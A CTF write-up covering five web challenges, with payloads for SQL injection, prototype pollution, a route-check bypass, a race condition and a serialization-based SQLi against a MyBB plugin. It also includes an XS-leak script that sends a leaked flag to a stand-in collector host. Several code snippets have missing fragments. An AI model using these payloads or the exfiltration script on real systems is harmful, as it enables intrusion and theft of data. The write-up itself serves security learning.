Because there are not many Crypto listed in the "Stock Market", our Cryptotrader Cryptanalyst Mystiz joined us for bounty hunting in Web as well, and we got all Web challenges done this time.

trading-api ($285, 20 solves)

The objective of this challenge is to get the flag from a PostgreSQL database. First, you need to get an auth token before accessing the API with SQL queries.

// server.js'/api/auth/login', login);

// authn.js
const r = await`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, {
    headers: { authorization: AUTH_API_TOKEN },
    json: { password },

Well encodeURI not encodeURIComponent? I didn't even bother to read the auth service API and try the username with ../../health? and it works!

Then there is an annoying checking on the /api/priv/ endpoint:

    userPermissions: new Map(Object.entries({
        warrenbuffett69: [Permissions.VERIFIED],
    routePermissions: [
        [/^\/+api\/+priv\//i, Permissions.VERIFIED],

I thought we need to craft another JWT token (JSON Web Token token?) with the username warrenbuffett69 but apparently we also need a funnier username (../../health? is not funny enough) to do SQLi next.

(Mystiz actually found the SQLi already because we can bypass this shit) After several hours of fuzzing, none of those .. or weird unicode works as expected. And then I tried to check how express checks the route but I have no idea. Instead I found this:

Why there is protohost in req.url? Then I tried http://z/api/priv/ (instead of /api/priv/) as the request URL and it works! (Typically, proxy server will accept absolute path as URL1)

Finally it is the main dish:

app.put('/api/priv/assets/:asset/:action', async (req, res) => {
    const { username } = req.user

    const { asset, action } = req.params;
    if (/[^A-z]/.test(asset)) {
        return res.status(400).send('asset name must be letters only');
    const assetTransactions = transactions[asset] ?? (transactions[asset] = {});

    const txId = generateId();
    assetTransactions[txId] = action;

    try {
        await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1);
        res.json({ id: txId });
    } catch (error) {
        console.error('db error:', error.message);
        res.status(500).send('transaction failed');
    } finally {
        delete assetTransactions[txId];

async function makeTransaction(username, txId, asset, amount) {
    const query = prepare('INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)', {

    await db.query(query);

Uh-oh prepared statement... Let's see how it works:

function sqlEscape(value) {
    switch (typeof value) {
        case 'string':
            return `'${value.replace(/[^\x20-\x7e]|[']/g, '')}'`;
        case 'number':
            return isFinite(value) ? String(value) : sqlEscape(String(value));
        case 'boolean':
            return String(value);
            return value == null ? 'NULL' : sqlEscape(JSON.stringify(value));

function prepare(query, namedParams) {
    let filledQuery = query;

    const escapedParams = Object.fromEntries(
              .map(([key, value]) => ([key, sqlEscape(value)]))

    for (const key in escapedParams) {
        filledQuery = filledQuery.replaceAll(`:${key}`, escapedParams[key]);

    return filledQuery;

sqlEscape will eat the single quote from your string input (and add a pair of single quote), so changing the username (or asset) to ../../health?' blah will not work. No luck? When you see a lot of Objects[key] (having Object[key1][key2] is the best) in a js challenge, you can try prototype pollution:

const assetTransactions = transactions[asset] ?? (transactions[asset] = {});
const txId = generateId();
assetTransactions[txId] = action;

which is just like transactions[asset][txId] = action; which fits the Object[key1][key2] form, then we can just fill key1 as __proto__ and we can control asset and action as a string. So we got a prototype pollution on a property of ... a generated ID... but this prototype property will be appeared in escapedParams as well, so if we know the ID (e.g. 1337), then having the username as ../../health? :1337 with action ' blah -- will make the SQL statement looks like

INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '../../health? ' blah --')

(I know it is broken lol) But how can we get the generated ID? You can't before it shows the result... so instead of putting :1337 as the placeholder, we can put ::txId as the placeholder, so that it will be replaced to the placeholder for the generated ID later.

To sum up:

  1. Get a token with a funny username that contains ::txId, e.g. ../../health? ::txId
  2. Access the /api/priv/ endpoint with prototype pollution and SQLi while bypassing the check: PUT http://z/api/priv/assets/__proto__/'%7C%7C(select%09flag%09from%09flag)%7C%7C' HTTP/1.1 Authorization: eySomeToken Host: z
  3. ??
  4. Profit

Then you can use the /api/transactions/:id endpoint with the generated ID shown in the transaction result to get the flag.

Bookmarker ($333, 14 solves)

Note App + XSS Bot again. But apparently there is no XSS. There is a filter function:

let username = req.session.username
let {filter} = req.query

let query = {username}
    query.title = { $regex: escapeStringRegexp(filter) }  
let items = await Links.find(query).sort({date: -1})

Regular Expression Filter, ReDoS again? But wait there is escapeStringRegexp which seems to be working well. So we need other oracle to check whether the admin's bookmark title (i.e. the flag) contains certain character. Then I found that there is a subtle difference in index.ejs:

<% if(typeof items != 'undefined' && items.length){ %>
    window.onload = () => {
        document.querySelectorAll('.deletebtn').forEach((button)=> {
            button.onclick = async () => {
                // delete link with id
                fetch(`/delete?id=${}`, {
                    method: 'GET',
                    credentials: 'include',
                .then(x => x.json())
                .then((j) => {
                // remove from dom
<% } %>

That means if the query got no results, it won't include the script for deleting link. Now we can add more security protection to the page, and then we can use our favorite censorship oracle (i.e. Streisand effect) to detect what are the interesting information... lol

Not blocked:

<iframe src="" csp="script-src 'none'"></iframe>


<iframe src="" csp="script-src 'none'"></iframe>

The oracle here is the blocked one will be loaded relatively faster. By generating N iframes with onload event, the first triggered event will indicate what is the detected character:

var o = {};
var c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}';
var payload = 'flag{';
var load = 1;
function s(){
        load = 1;
function q(x){
        o[x] = document.createElement('iframe');
        o[x].src = ''+payload+c[x]+'&'+Math.random();
        o[x].onload = function(){eval(`z(`+x+`);`)};
        o[x].csp = "script-src 'none'";
function z(x){
        document.body.innerHTML = '';
        if (load) {
            payload += c[x];
                load = 0;
                setTimeout("s()",100);  //take a short break lol
        if (x==63){
                fetch("http://REQUEST_BIN/?flag="+payload, {mode: 'no-cors'});
onload = s;

(Don't ask me how did I name the variables and function names)

Diamond Safe ($181, 61 solves)

The objective is to read /flag.txt, and first you need to login to the system:

if (isset($_POST['password'])){
    $query = db::prepare("SELECT * FROM `users` where password=sha1(%s)", $_POST['password']);

    if (isset($_POST['name'])){
        $query = db::prepare($query . " and name=%s", $_POST['name']);

Prepared statement? Let's see how did it prepare:

public static function prepare($query, $args){
    if (is_null($query)){
    if (strpos($query, '%') === false){
        error('%s not included in query!');

    // get args
    $args = func_get_args();
    array_shift( $args );

    $args_is_array = false;
    if (is_array($args[0]) && count($args) == 1 ) {
        $args = $args[0];
        $args_is_array = true;

    $count_format = substr_count($query, '%s');

    if($count_format !== count($args)){
        error('Wrong number of arguments!');
    // escape
    foreach ($args as &$value){
        $value = static::$db->real_escape_string($value);

    // prepare
    $query = str_replace("%s", "'%s'", $query);
    $query = vsprintf($query, $args);
    return $query;


Since the statement is prepared twice (one for the password and the other one for username), obviously it is format string placeholder injection. Typically it is injecting %c with value 39 to add one more single quote to break everything, but the above prepare function also checks whether the number of %s and the number of arguments supplied match, so we need to inject another %s if we want to make sure the vsprintf works later.

First, the statement looks like this before prepare on password:

SELECT * FROM `users` where password=sha1(%s)

Let's just set the password as %s, then it will become like this after the vsprintf:

SELECT * FROM `users` where password=sha1('%s')

Looks no difference? See where are the single quotes...

Then we have another prepare statement for the username. Before it prepare:

SELECT * FROM `users` where password=sha1('%s') and name=%s

Now you should see what went wrong. Let's say we supply the username as ['foo','bar'], the statement will become:

SELECT * FROM `users` where password=sha1(''foo'') and name='bar'

Looks broken isn't it? Then it is like SQLi 101, just change the foo to some interesting things like ) or 1 --, then you can login:

curl -d "name[]=) or 1 -- &name[]=1&password=%s" -i

Next, we want to download the flag. But there is an integrity check on the filename with the hash:

function check_url(){
    // fixed bypasses with arrays in get parameters
    $query  = explode('&', $_SERVER['QUERY_STRING']);
    $params = array();
    foreach( $query as $param ){
        // prevent notice on explode() if $param has no '='
        if (strpos($param, '=') === false){
            $param += '=';
        list($name, $value) = explode('=', $param, 2);
        $params[urldecode($name)] = urldecode($value);

    if(!isset($params['file_name']) or !isset($params['h'])){
        return False;

    $secret = getenv('SECURE_URL_SECRET');
    $hash = md5("{$secret}|{$params['file_name']}|{$secret}");

    if($hash === $params['h']){
        return True;
    return False;

Why use the query string instead of $_GET... Looks like a bad excuse for the comment. Anyway we can just keep the original file_name and h in the query string for a valid file, and then add something that can replace the $_GET['file_name']. One way is file name as PHP replaces space with underscore from query string to $_GET:

NodeNB ($198, 45 solves)

The objective is to read the note with id flag. However, there is an authorization and you are allowed to read the flag only if either

  1. you are the owner of the note (there are no owners for the note flag), or
  2. you do not have a password (this happens only if you are a system user).
async deleteUser(uid) {
    const user = await helpers.getUser(uid);
    await db.set(`user:${}`, -1);
    await db.del(`uid:${uid}`);
    // ☝️ Deletes the entire user. The user does not have a password now.
    const sessions = await db.smembers(`uid:${uid}:sessions`);
    const notes = await db.smembers(`uid:${uid}:notes`);
    return db.del([ => `sess:${sid}`),
        // ☝️ The sessions are invalidated here => `note:${nid}`),

Mystiz observed that there is a gap between deleting the user and invalidating the sessions. A user can read arbitrary notes during the time in between. To achieve this, he tried to increase the time by inserting a lot of notes (he attempted to make 1024 notes) and delete the user. Unfortunately he was unable to cast the attack.

Actually there is a sleep function in one of the endpoint that could help us to conduct the race condition attack:'/notes', ensureAuth, async (req, res) => {
    let { title, content } = req.body;
    if (req.query.random) {
        const ms = Math.floor(2000 + Math.random() * 1000);
        await new Promise(r => setTimeout(r, ms));

So instead of inserting tons of notes (which should work theoretically if the amount is very large), we can just request a few random notes that will sleep for a while. Then we can run delete and read at the same time:


SeekingExploits ($367, 11 solves)

The challenge is written based on an open source forum, MyBB. A plugin called ExploitMarket is implemented. There are two APIs implemented:

  1. make_proposal makes a proposal
  2. delete_proposals clears the proposal of the current user.

Additionally, when a user sends a private message to another user, the list of proposals will be included as a signature.

The flag is hidden inside the database. It is hidden in the private notes of the admin. That said, we need to either sign in as an admin (which sounds infeasible for a public CMS) or perform SQL injection.

In mybb-server/exploit_market/inc/plugins/emarket.php, there is an obvious SQL injection:

$user_query = $db->simple_select("users", "username", "uid=" . $proposal["additional_info"]['sold_to']);

additional_info is unserialized with my_unserialize and sold_to is used directly without validation. That said, if sold_to is a string, we can easily craft an SQL injection easily (the insert_query function in MyBB simply concatenates the function parameters).

Unfortunately the fields in additional_info are validated when the content is added. Snippeted:

function validate_additional_info($additional_info) {
    $validated = array();
    foreach($additional_info as $key => $value) {
        switch ($key) {
            case "reliability": {
                $value = (int)$value;
                if ($value >= 0 && $value <= 100) {
                    $validated["reliability"] = $value;
            case "impact": {
                $valid_impacts = array("rce", "priv_esc", "information_disclosure");
                if (in_array($value, $valid_impacts, true)) {
                    $validated["impact"] = $value;
            case "current_bidding":
            case "sold_to": {
                $validated[$key] = (int)$value;
            default: {
                $validated[$key] = $value;

    return $validated;

Although the keys other than reliability, impact, current_bidding and sold_to are not validated and will be added to the return object directly for serialization, only sold_to is shown to the user. It seemed that every other key except sold_to are not important because they do not affect the rendered result... or is it?

These (un)serialization will use _safe_unserialize / _safe_serialize, which look safe (as the name suggested lol). Then how can we have a sold_to with SQLi payload after unserialize while bypassing the check during the serialization? Maybe there are some mutation when it writes to the database and reads differently afterwards. A typically case is data truncation in SQL, but the column data type here is TEXT, and also having a left substring of the serialized string seems not very helpful in crafting a nice payload that changes the sold_to later.

Maybe it is about Multibyte character exploit? Sounds like the infamous 許功蓋 in the 90s. Just randomly add some characters from [\x80-\xff] and see what's going on:[%ee]=1&additional_info[sold_to]=1

This will make the buyer empty (instead of Admin), meaning it breaks the serialized string in some way.

Then we observe what is the actual serialized string looks like for different cases:





As you can see, the length of first string is the number of bytes we entered but the output may contain something less than that. So basically we need to craft a serialized string that will unserialized to Array("somejunk1"=>"somejunk2","sold_to"=>"payload")

How? I don't know... Just do some trial and error. Before I finish crafting, Mystiz has already got a working payload:[%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ec]=%22;s:0:%22%22;s:7:%22sold_to%22;s:53:%22-1%20union%20select%20usernotes%20from%20mybb_users%20where%20uid=1&additional_info[%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee]=1&additional_info[%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ef]=2

which looks like

a:3:{s:8:"?;s:82:"";s:0:"";s:7:"sold_to";s:53:"-1 union select usernotes from mybb_users where uid=1";s:15:"????????;s:1:"1";s:15:"????????;s:1:"2";}

Looks horrible isn't it? Somehow it includes the serialized string s:7:"sold_to";s:(some_number):"some_payload" inside one of the input. I personally think that having that s:53 is troublesome. Instead, I tried to have ;s:7:"sold_to as one of the key, and then the value and the value length should be generated automatically...[%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%ee%eex]=;s:6:&additional_info[;s:7:%22sold_to]=payload
(What it interprets)
K          *************                    *******
V                              ******                     *******
K          *******                    *************
V                        *****                            *******
(What I entered)